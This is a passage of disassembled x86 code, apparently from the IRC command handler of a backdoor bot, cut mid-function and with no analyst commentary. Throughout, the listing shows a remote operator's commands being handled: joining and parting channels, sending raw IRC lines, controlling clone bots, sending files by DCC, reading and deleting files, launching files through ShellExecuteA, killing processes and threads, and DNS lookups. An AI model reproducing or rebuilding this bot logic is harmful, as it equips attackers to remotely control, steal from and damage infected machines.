		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_413DE0
		push	eax
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_415140
		push	edi
		call	sub_413D7F
		add	esp, 30h
		test	eax, eax
		jle	short loc_410740
		push	edi
		call	sub_413D7F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_41F050	; Sleep


loc_410740:				; CODE XREF: sub_40CC09+3B21j
		push	offset a_e_1_0bEnz_m_7 ; ".e.(1.0b) ( enz.m.d.l	) ..	Delay."
		call	sub_409833
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_410754:				; CODE XREF: sub_40CC09+209Fj
					; sub_40CC09+20B6j
		push	[ebp+var_90]
		push	offset dword_434504
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFCD
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_413C30
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_410810
		push	[ebp+var_8C]
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	0FEh
		push	eax
		push	[ebp+arg_0]
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz_m_8 ; ".e.(1.0b) ( enz.m.d.l	) ..	Repeat:	%"...
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		push	edi
		call	sub_413D7F
		add	esp, 38h
		test	eax, eax
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_410810:				; CODE XREF: sub_40CC09+3B90j
		push	offset a_e_1_0bEnz_m_9 ; ".e.(1.0b) ( enz.m.d.l	) ..	Repeat no"...
		jmp	loc_40F1A3
; ---------------------------------------------------------------------------


loc_41081A:				; CODE XREF: sub_40CC09+2071j
					; sub_40CC09+2088j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1C4]
		push	offset aPartS	; "PART	%s"
		push	eax
		call	sub_413812
		push	edi
		call	sub_413D7F
		add	esp, 10h


loc_410837:				; CODE XREF: sub_40CC09+3C98j
		test	eax, eax
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B


loc_410851:				; CODE XREF: sub_40CC09+445Dj
		lea	eax, [ebp+var_1C4]
		push	eax
		push	offset aS_5	; "%s\r\n"
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B26F


loc_410875:				; CODE XREF: sub_40CC09+5319j
		add	esp, 0Ch
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_41087D:				; CODE XREF: sub_40CC09+2043j
					; sub_40CC09+205Aj
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_1C4]
		push	[ebp+arg_18]
		push	offset aJoinSS_0 ; "JOIN %s %s"
		push	eax
		call	sub_413812
		push	edi
		call	sub_413D7F
		add	esp, 14h
		jmp	short loc_410837
; ---------------------------------------------------------------------------


loc_4108A3:				; CODE XREF: sub_40CC09+2015j
					; sub_40CC09+202Cj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1C4]
		push	offset aNickS_0	; "NICK	%s"
		push	eax
		call	sub_413812
		push	edi
		call	sub_413D7F
		add	esp, 10h
		test	eax, eax
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B
		lea	eax, [ebp+var_1C4]
		push	eax
		push	offset aS_5	; "%s\r\n"
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B26F
		push	[ebp+arg_18]
		push	edi
		push	offset a_e_1_0bClone_m ; ".e.(1.0b) ( clone.m.d.l ) ..  Nick (%"...


loc_410907:				; CODE XREF: sub_40CC09+3D88j
					; sub_40CC09+3DF3j ...
		call	sub_4098A7


loc_41090C:				; CODE XREF: sub_40CC09+4FE9j
		add	esp, 18h
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_410914:				; CODE XREF: sub_40CC09+1FE7j
					; sub_40CC09+1FFEj
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410945
		push	esi
		lea	eax, [ebp+var_1C4]
		push	offset aModeS	; "MODE	%s"
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_410945:				; CODE XREF: sub_40CC09+3D25j
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B
		lea	eax, [ebp+var_1C4]
		push	eax
		push	offset aS_5	; "%s\r\n"
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B26F
		push	esi
		push	edi
		push	offset a_e_1_0bClone_1 ; ".e.(1.0b) ( clone.m.d.l ) ..  Mode (%"...
		jmp	loc_410907
; ---------------------------------------------------------------------------


loc_410996:				; CODE XREF: sub_40CC09+1FB9j
					; sub_40CC09+1FD0j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41217B
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B
		push	esi
		push	offset aS_5	; "%s\r\n"
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B26F
		push	esi
		push	edi
		push	offset a_e_1_0bClone_2 ; ".e.(1.0b) ( clone.m.d.l ) ..  Raw (%s"...
		jmp	loc_410907
; ---------------------------------------------------------------------------


loc_410A01:				; CODE XREF: sub_40CC09+1F8Bj
					; sub_40CC09+1FA2j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	edi
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41217B
		push	esi
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	esi
		push	offset a_e_1_0bEnz__10 ; ".e.(1.0b) ( enz.m.d.l	) ..	Mode chan"...


loc_410A33:				; CODE XREF: sub_40CC09+4611j
					; sub_40CC09+462Aj ...
		call	sub_4098A7


loc_410A38:				; CODE XREF: sub_40CC09+3E98j
		add	esp, 14h
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_410A40:				; CODE XREF: sub_40CC09+1F5Dj
					; sub_40CC09+1F74j
		push	[ebp+var_90]
		push	offset dword_434504
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFCD
		push	[ebp+arg_18]
		push	offset aPartS_0	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	edi
		call	sub_413D7F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_41F050	; Sleep
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	offset a_e_1_0bEnz__11 ; ".e.(1.0b) ( enz.m.d.l	) ..	Cycle."
		call	sub_409833
		jmp	short loc_410A38
; ---------------------------------------------------------------------------


loc_410AA3:				; CODE XREF: sub_40CC09+1F2Fj
					; sub_40CC09+1F46j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	edi
		call	sub_413E90
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_413E90
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_413DE0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_41217B
		push	esi
		lea	eax, [ebp+var_1C4]
		push	offset dword_432F38
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	esi
		push	edi
		push	offset a_e_1_0bEnz__12 ; ".e.(1.0b) ( enz.m.d.l	) ..	Action:	%"...
		call	sub_4098A7
		add	esp, 2Ch
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_410B11:				; CODE XREF: sub_40CC09+1F01j
					; sub_40CC09+1F18j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	edi
		call	sub_413E90
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_413E90
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_413DE0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_41217B
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	esi
		push	edi
		push	offset a_e_1_0bEnz__13 ; ".e.(1.0b) ( enz.m.d.l	) ..	Privmsg: "...
		call	sub_4098A7
		jmp	loc_40F7DE
; ---------------------------------------------------------------------------


loc_410B64:				; CODE XREF: sub_40CC09+1ED3j
					; sub_40CC09+1EEAj
		cmp	[ebp+var_C], ebx
		jz	loc_40CFCD
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40CFCD
		push	eax
		push	edi
		call	sub_40973B
		push	edi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__14 ; ".e.(1.0b) ( enz.m.d.l	) ..	Alias add"...
		push	eax
		call	sub_413812
		add	esp, 14h
		jmp	loc_411957
; ---------------------------------------------------------------------------


loc_410BA3:				; CODE XREF: sub_40CC09+1E93j
					; sub_40CC09+1EAAj
		push	edi
		push	[ebp+arg_1C]
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41217B
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_410C40
		push	esi
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410C28
		push	esi
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	0FEh
		push	eax
		push	[ebp+arg_0]
		call	sub_415140
		push	esi
		push	edi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__15 ; ".e.(1.0b) ( enz.m.d.l	) ..	Gethost: "...
		push	eax
		call	sub_413812
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_411E05
; ---------------------------------------------------------------------------


loc_410C28:				; CODE XREF: sub_40CC09+3FC7j
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__16 ; ".e.(1.0b) ( enz.m.d.l	) ..	Unable to"...
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	loc_411E05
; ---------------------------------------------------------------------------


loc_410C40:				; CODE XREF: sub_40CC09+3FB6j
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_409675
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	edi
		push	offset a_e_1_0bEnz__17 ; ".e.(1.0b) ( enz.m.d.l	) ..	Gethost: "...
		lea	eax, [ebp+var_1C4]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 24h
		jmp	loc_411E05
; ---------------------------------------------------------------------------


loc_410C87:				; CODE XREF: sub_40CC09+1A7Cj
					; sub_40CC09+1A93j
		push	offset aR	; "r"
		push	edi
		call	sub_414F8F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410D01
		mov	ebx, 0FFh
		push	esi
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	eax
		call	sub_415D5E
		add	esp, 0Ch


loc_410CB0:				; CODE XREF: sub_40CC09+40D6j
		test	eax, eax
		jz	short loc_410CE1
		push	1
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	esi
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	eax
		call	sub_415D5E
		add	esp, 20h
		jmp	short loc_410CB0
; ---------------------------------------------------------------------------


loc_410CE1:				; CODE XREF: sub_40CC09+40A9j
		push	esi
		call	sub_414E31
		push	edi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__18 ; ".e.(1.0b) ( enz.m.d.l	) ..	Read file"...
		push	eax
		call	sub_413812
		add	esp, 10h
		jmp	loc_4106B1
; ---------------------------------------------------------------------------


loc_410D01:				; CODE XREF: sub_40CC09+408Fj
		push	edi
		push	offset a_e_1_0bEnz__19 ; ".e.(1.0b) ( enz.m.d.l	) ..	Read file"...
		jmp	loc_41066C
; ---------------------------------------------------------------------------


loc_410D0C:				; CODE XREF: sub_40CC09+1A4Ej
					; sub_40CC09+1A65j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	edi
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41217B
		push	offset asc_4253FC ; "\n"
		push	esi
		call	sub_414FC0
		push	esi
		call	sub_408ED5
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410D4C
		push	offset a_e_1_0bCmd_m_d ; ".e.(1.0b) ( cmd.m.d.l	) ..	Error sen"...
		jmp	loc_410FA9
; ---------------------------------------------------------------------------


loc_410D4C:				; CODE XREF: sub_40CC09+4137j
		push	esi
		push	offset a_e_1_0bCmd_m_0 ; ".e.(1.0b) ( cmd.m.d.l	) ..	Commands:"...
		jmp	loc_411DF6
; ---------------------------------------------------------------------------


loc_410D57:				; CODE XREF: sub_40CC09+1A20j
					; sub_40CC09+1A37j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	edi
		push	[ebp+var_C]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_41217B
		push	eax
		call	sub_4085B9
		test	eax, eax
		pop	ecx
		jnz	short loc_410D88
		push	offset a_e_1_0bMirc_m_ ; ".e.(1.0b) ( mirc.m.d.l ) ..	 Client	n"...
		jmp	loc_410FA9
; ---------------------------------------------------------------------------


loc_410D88:				; CODE XREF: sub_40CC09+4173j
		push	offset a_e_1_0bMirc__0 ; ".e.(1.0b) ( mirc.m.d.l ) ..	 Command "...
		jmp	loc_410FA9
; ---------------------------------------------------------------------------


loc_410D92:				; CODE XREF: sub_40CC09+19F2j
					; sub_40CC09+1A09j
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_40517E
		push	edi
		push	offset a_e_1_0bFile__1 ; ".e.(1.0b) ( file.m.d.l ) ..	 List: %s"...
		jmp	loc_410907
; ---------------------------------------------------------------------------


loc_410DAD:				; CODE XREF: sub_40CC09+19C4j
					; sub_40CC09+19DBj
		push	14h
		lea	eax, [ebp+var_610]
		push	ebx
		push	eax
		call	sub_413890
		push	edi
		lea	eax, [ebp+var_5FC]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_413812
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_618], eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_4F8]
		push	80h
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+var_4]
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_4F8]
		push	eax
		lea	eax, [ebp+var_5FC]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bDcc_m_6 ; ".e.(1.0b) ( dcc.m.d.l	) ..	Send File"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	12h
		push	eax
		call	sub_4132BE
		add	esp, 40h
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_618]
		push	ebx
		push	eax
		push	offset sub_409DBE
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_474]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_410E7D


loc_410E67:				; CODE XREF: sub_40CC09+4272j
		cmp	[ebp+var_468], ebx
		jnz	loc_411B4A
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_410E67
; ---------------------------------------------------------------------------


loc_410E7D:				; CODE XREF: sub_40CC09+425Cj
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bDcc_m_0 ; ".e.(1.0b) ( dcc.m.d.l	) ..	Failed to"...
		jmp	loc_411B3B
; ---------------------------------------------------------------------------


loc_410E8E:				; CODE XREF: sub_40CC09+1996j
					; sub_40CC09+19ADj
		push	edi
		call	ds:off_41F118
		test	eax, eax
		jz	short loc_410EA1
		push	edi
		push	offset a_e_1_0bFile__2 ; ".e.(1.0b) ( file.m.d.l ) ..	 Deleted "...
		jmp	short loc_410EAC
; ---------------------------------------------------------------------------


loc_410EA1:				; CODE XREF: sub_40CC09+428Ej
		push	offset a_e_1_0bFile__0 ; ".e.(1.0b) ( file.m.d.l ) ..	"
		call	sub_4084F4
		push	eax


loc_410EAC:				; CODE XREF: sub_40CC09+4296j
		lea	eax, [ebp+var_1C4]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 10h
		jmp	loc_410690
; ---------------------------------------------------------------------------


loc_410EC5:				; CODE XREF: sub_40CC09+1968j
					; sub_40CC09+197Fj
		push	edi
		call	sub_413D7F
		push	eax
		call	sub_4126C5
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_410EE2
		push	offset a_e_1_0bProce_1 ; ".e.(1.0b) ( process.m.d.l ) ..  Proce"...
		jmp	short loc_410EE7
; ---------------------------------------------------------------------------


loc_410EE2:				; CODE XREF: sub_40CC09+42D0j
		push	offset a_e_1_0bProce_2 ; ".e.(1.0b) ( process.m.d.l ) ..  Faile"...


loc_410EE7:				; CODE XREF: sub_40CC09+42D7j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_41045A
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h
		jmp	loc_41045A
; ---------------------------------------------------------------------------


loc_410F20:				; CODE XREF: sub_40CC09+193Aj
					; sub_40CC09+1951j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4123B8
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_410F42
		push	offset a_e_1_0bProce_3 ; ".e.(1.0b) ( process.m.d.l ) ..  Proce"...
		jmp	loc_41066C
; ---------------------------------------------------------------------------


loc_410F42:				; CODE XREF: sub_40CC09+432Dj
		push	offset a_e_1_0bProce_4 ; ".e.(1.0b) ( process.m.d.l ) ..  Faile"...
		jmp	loc_41066C
; ---------------------------------------------------------------------------


loc_410F4C:				; CODE XREF: sub_40CC09+190Cj
					; sub_40CC09+1923j
		push	edi
		call	dword_44CD18	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_410F89
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_44CC98	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_410FA4
		push	dword ptr [eax]


loc_410F6F:				; CODE XREF: sub_40CC09+4399j
		push	edi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bDns_m_d ; ".e.(1.0b) ( dns.m.d.l	) ..	Lookup:	%"...
		push	eax
		call	sub_413812
		add	esp, 10h
		jmp	loc_40F1B2
; ---------------------------------------------------------------------------


loc_410F89:				; CODE XREF: sub_40CC09+4350j
		push	edi
		call	dword_44CD5C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_410FA4
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_44CD64	; inet_ntoa
		push	eax
		jmp	short loc_410F6F
; ---------------------------------------------------------------------------


loc_410FA4:				; CODE XREF: sub_40CC09+4362j
					; sub_40CC09+4389j
		push	offset a_e_1_0bDns_m_0 ; ".e.(1.0b) ( dns.m.d.l	) ..	Couldn't "...


loc_410FA9:				; CODE XREF: sub_40CC09+38E8j
					; sub_40CC09+413Ej ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	loc_40F1B2
; ---------------------------------------------------------------------------


loc_410FBC:				; CODE XREF: sub_40CC09+18DEj
					; sub_40CC09+18F5j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_415140
		push	edi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__20 ; ".e.(1.0b) ( enz.m.d.l	) ..	Server ch"...
		push	eax
		call	sub_413812
		add	esp, 18h
		jmp	loc_410436
; ---------------------------------------------------------------------------


loc_410FE1:				; CODE XREF: sub_40CC09+18B0j
					; sub_40CC09+18C7j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_44CC5C	; ShellExecuteA
		test	eax, eax
		push	edi
		jz	short loc_411001
		push	offset a_e_1_0bShell_m ; ".e.(1.0b) ( shell.m.d.l ) ..  File op"...
		jmp	loc_41066C
; ---------------------------------------------------------------------------


loc_411001:				; CODE XREF: sub_40CC09+43ECj
		push	offset a_e_1_0bShell_0 ; ".e.(1.0b) ( shell.m.d.l ) ..  Couldn'"...
		jmp	loc_41066C
; ---------------------------------------------------------------------------


loc_41100B:				; CODE XREF: sub_40CC09+1882j
					; sub_40CC09+1899j
		mov	al, [edi]
		mov	byte_42A334, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset a_e_1_0bEnz__21 ; ".e.(1.0b) ( enz.m.d.l	) ..	Prefix ch"...
		jmp	loc_4120F8
; ---------------------------------------------------------------------------


loc_411020:				; CODE XREF: sub_40CC09+1854j
					; sub_40CC09+186Bj
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		call	sub_412AB7
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset aNickS_0	; "NICK	%s"
		push	eax
		call	sub_413812
		add	esp, 1Ch
		jmp	loc_410851
; ---------------------------------------------------------------------------


loc_41106B:				; CODE XREF: sub_40CC09+1826j
					; sub_40CC09+183Dj
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	loc_40CFCD
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_40CFCD
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B26F
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_41F050	; Sleep
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	dword_44CD70	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_45213C[eax]
		call	ds:off_41F130
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		push	edi
		mov	dword_45213C[eax], ebx
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_452028[eax], bl
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_411116:				; CODE XREF: sub_40CC09+17F8j
					; sub_40CC09+180Fj
		push	edi
		push	offset off_4321D4
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411154
		call	sub_413487
		cmp	eax, ebx
		jle	short loc_41114A
		push	eax
		push	offset a_e_1_0bThreads ; ".e.(1.0b) ( threads.m.d.l ) ..  Stopp"...


loc_411136:				; CODE XREF: sub_40CC09+2638j
					; sub_40CC09+291Aj ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		jmp	loc_411957
; ---------------------------------------------------------------------------


loc_41114A:				; CODE XREF: sub_40CC09+4525j
		push	offset a_e_1_0bThrea_0 ; ".e.(1.0b) ( threads.m.d.l ) ..  No ac"...
		jmp	loc_411949
; ---------------------------------------------------------------------------


loc_411154:				; CODE XREF: sub_40CC09+451Cj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40CFCD
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax


loc_411170:				; CODE XREF: sub_40CC09+45D8j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40CFCD
		push	esi
		call	sub_413D7F
		push	eax
		call	sub_4133F9
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_411197
		push	offset a_e_1_0bThrea_1 ; ".e.(1.0b) ( threads.m.d.l ) ..  Kille"...
		jmp	short loc_41119C
; ---------------------------------------------------------------------------


loc_411197:				; CODE XREF: sub_40CC09+4585j
		push	offset a_e_1_0bThrea_2 ; ".e.(1.0b) ( threads.m.d.l ) ..  Faile"...


loc_41119C:				; CODE XREF: sub_40CC09+458Cj
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4111CC
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_4111CC:				; CODE XREF: sub_40CC09+45A5j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_411170
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_4111E8:				; CODE XREF: sub_40CC09+17CAj
					; sub_40CC09+17E1j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	edi
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41217B
		push	esi
		push	offset aS_5	; "%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	esi
		push	offset a_e_1_0bEnz__22 ; ".e.(1.0b) ( enz.m.d.l	) ..	IRC Raw: "...
		jmp	loc_410A33
; ---------------------------------------------------------------------------


loc_41121F:				; CODE XREF: sub_40CC09+179Cj
					; sub_40CC09+17B3j
		push	edi
		push	offset aPartS_0	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	edi
		push	offset a_e_1_0bEnz__23 ; ".e.(1.0b) ( enz.m.d.l	) ..	Parted ch"...
		jmp	loc_410A33
; ---------------------------------------------------------------------------


loc_411238:				; CODE XREF: sub_40CC09+176Ej
					; sub_40CC09+1785j
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	edi
		push	offset a_e_1_0bEnz__24 ; ".e.(1.0b) ( enz.m.d.l	) ..	Joined ch"...
		jmp	loc_410907
; ---------------------------------------------------------------------------


loc_411258:				; CODE XREF: sub_40CC09+1740j
					; sub_40CC09+1757j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	edi
		push	offset a_e_1_0bEnz__25 ; ".e.(1.0b) ( enz.m.d.l	) ..	Nick chan"...
		jmp	loc_410A33
; ---------------------------------------------------------------------------


loc_411271:				; CODE XREF: sub_40CC09+1705j
					; sub_40CC09+171Aj
		mov	al, byte_7420EA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_7420EA
		jz	loc_40CFCD
		mov	ecx, edx


loc_411288:				; CODE XREF: sub_40CC09+4687j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_411288
		cmp	al, bl
		jz	loc_40CFCD
		mov	[ebp+arg_18], edx


loc_41129D:				; CODE XREF: sub_40CC09+4952j
		push	8
